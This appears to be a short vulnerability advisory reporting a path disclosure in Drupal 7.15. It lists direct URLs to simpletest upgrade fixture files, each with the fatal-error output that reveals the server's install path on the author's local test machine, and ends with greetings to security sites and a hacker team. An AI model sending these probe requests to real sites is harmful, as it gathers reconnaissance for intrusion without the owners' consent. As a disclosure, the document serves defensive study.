Drupal 7.15 Path Disclosure

`============================================================  
Vulnerable Software: Drupal 7.15  
Downloaded from: http://ftp.drupal.org/files/projects/drupal-7.15.tar.gz  
Vuln Type: Path Disclosure  
============================================================  
Tested:  
*php.ini MAGIC_QUOTES_GPC OFF*  
Safe mode off  
OS: Windows XP SP2 (32 bit)  
Apache: 2.2.21.0  
PHP Version: 5.2.17.17  
MYSQL: 5.5.27  
============================================================  
  
Drupal 7.15 is vulnerable to Path Disclosure.  
  
My installation PATH is:   
C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\  
  
  
Try Direct access and it will expose such information:  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.bare.database.php  
  
  
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.bare.database.php on line 17  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.comments.database.php  
  
Fatal error: Call to undefined function db_update() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.comments.database.php on line 2  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.filled.database.php  
  
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.filled.database.php on line 26  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.forum.database.php  
  
  
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.forum.database.php on line 7  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.locale.database.php  
  
  
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.locale.database.php on line 7  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.menu.database.php  
  
  
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.menu.database.php on line 2  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.node_type_broken.database.php  
  
  
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.node_type_broken.database.php on line 2  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.translatable.database.php  
  
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.translatable.database.php on line 7  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.trigger.database.php  
  
  
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.trigger.database.php on line 6  
  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.upload.database.php  
  
  
  
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.upload.database.php on line 3  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-no-password-token.database.php  
  
  
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-no-password-token.database.php on line 2  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-password-token.database.php  
  
  
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-password-token.database.php on line 2  
  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.field.database.php  
  
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.field.database.php on line 8  
=========================================================================================  
  
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.trigger.database.php  
  
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.trigger.database.php on line 8  
  
==========================NO ONE AND NOTHING IS IDEAL======================================  
  
  
  
SHOUTZ AND GREAT THANKS TO ALL MY FRIENDS:  
===========================================================  
packetstormsecurity.org  
packetstormsecurity.com  
packetstormsecurity.net  
securityfocus.com  
cxsecurity.com  
security.nnov.ru  
securtiyvulns.com  
securitylab.ru  
secunia.com  
securityhome.eu  
exploitsdownload.com  
exploit-db.com  
to all Aa Team + to all Azerbaijan Black HatZ +  
*Especially to my bro CAMOUFL4G3.*  
===========================================================  
  
/AkaStep  
`